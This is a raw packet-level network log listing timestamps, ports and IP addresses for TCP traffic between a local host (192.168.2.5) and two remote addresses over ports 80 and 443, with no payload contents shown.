Dec 7, 2024 08:43:40.411041021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.411103964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.411148071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.411828995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.411873102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.411927938 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.411973000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.412679911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.412727118 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.412801981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.412846088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.413505077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.413551092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.413598061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.413646936 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.414350986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.414405107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.414429903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.414469957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.415215015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.415261984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.415333986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.415378094 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.416081905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.416126966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.416148901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.416186094 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.416610956 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.416965008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.417020082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.417071104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.417109966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.417203903 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.417229891 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.417706013 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.417711973 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.417721033 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.417764902 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.417819977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.417861938 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.418139935 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.418406010 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.418411970 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.418560028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.418600082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.418663025 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.418700933 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.418745041 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.418747902 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.419440985 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.419478893 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.419543982 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.419589996 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.420259953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.420303106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.420375109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.420418978 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.421092987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.421134949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.421192884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.421236992 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.421957016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.421999931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.422041893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.422080994 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.422797918 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.422847033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.422852039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.422889948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.423679113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.423727036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.423743963 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.423780918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.424483061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.424526930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.424592018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.424635887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.425317049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.425362110 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.425421953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.425457954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.426152945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.426198959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.426266909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.426311016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.427022934 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.427067041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.427114010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.427158117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.427850008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.427891970 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.427958965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.428000927 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.428682089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.428724051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.428780079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.428822041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.429577112 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.429621935 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.429650068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.429696083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.430380106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.430418015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.430481911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.430521965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.431225061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.431268930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.431349993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.431397915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.432064056 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.432106018 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.432147980 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.432187080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.432857990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.432907104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.580944061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.580976009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.581032038 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.581286907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.581330061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.581413031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.581451893 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.582118988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.582173109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.582283974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.582329035 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.582973003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.583013058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.583081961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.583122015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.583828926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.583882093 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.583914995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.583954096 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.584633112 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.584676027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.584750891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.584788084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.585503101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.585549116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.585624933 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.585664988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.586371899 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.586411953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.586488008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.586529016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.587187052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.587230921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.587325096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.587366104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.588022947 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.588071108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.588103056 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.588143110 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.588876009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.588915110 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.588947058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.588984966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.589710951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.589761972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.589814901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.589854002 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.590578079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.590620995 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.590682030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.590723038 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.591399908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.591444969 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.591478109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.591520071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.591530085 CET	443	49773	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.592231989 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.592273951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.592329025 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.592372894 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.592912912 CET	49773	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.592946053 CET	443	49773	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.593089104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.593128920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.593173027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.593214989 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.593394995 CET	49773	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.593400955 CET	443	49773	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.593913078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.593952894 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.594034910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.594072104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.594822884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.594899893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.594919920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.594953060 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.595602036 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.595710993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.595737934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.595757008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.596441031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.596512079 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.596554995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.596637011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.597328901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.597373009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.597398996 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.597436905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.598133087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.598180056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.598261118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.598299026 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.599072933 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.599123955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.599183083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.599222898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.599826097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.599869013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.599932909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.599970102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.600675106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.600719929 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.600800037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.600838900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.601569891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.601619005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.601624012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.601667881 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.602364063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.602401972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.602474928 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.602513075 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.603190899 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.603238106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.603305101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.603337049 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.604046106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.604084015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.604140043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.604176998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.604901075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.604940891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.604964018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.605001926 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.605757952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.605804920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.605911970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.605951071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.606565952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.606612921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.606679916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.606715918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.607424974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.607472897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.607511997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.607553005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.608246088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.608297110 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.608349085 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.608386040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.609117031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.609157085 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.609281063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.609647036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.609941959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.609989882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.610049963 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.610089064 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.610789061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.610824108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.610917091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.610955954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.611682892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.611727953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.611931086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.611972094 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.612508059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.612557888 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.612591028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.612631083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.613334894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.613388062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.613480091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.613522053 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.614213943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.614250898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.614367008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.614401102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.615016937 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.615055084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.615113020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.615150928 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.615840912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.615901947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.615968943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.616008997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.616695881 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.616739988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.616792917 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.616831064 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.617523909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.617566109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.617643118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.617681026 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.618376970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.618421078 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.618482113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.618519068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.619230986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.619285107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.619328976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.619368076 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.620074034 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.620122910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.620189905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.620230913 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.620906115 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.620950937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.620969057 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.621010065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.621794939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.621840954 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.621850967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.621898890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.622612953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.622657061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.622730970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.622770071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.623425961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.623475075 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.623548985 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.623586893 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.624288082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.624398947 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.624427080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.624438047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.625093937 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.625134945 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.665107012 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.665154934 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.665210009 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.665448904 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.665467978 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.665478945 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.665484905 CET	443	49770	13.107.246.63	192.168.2.5
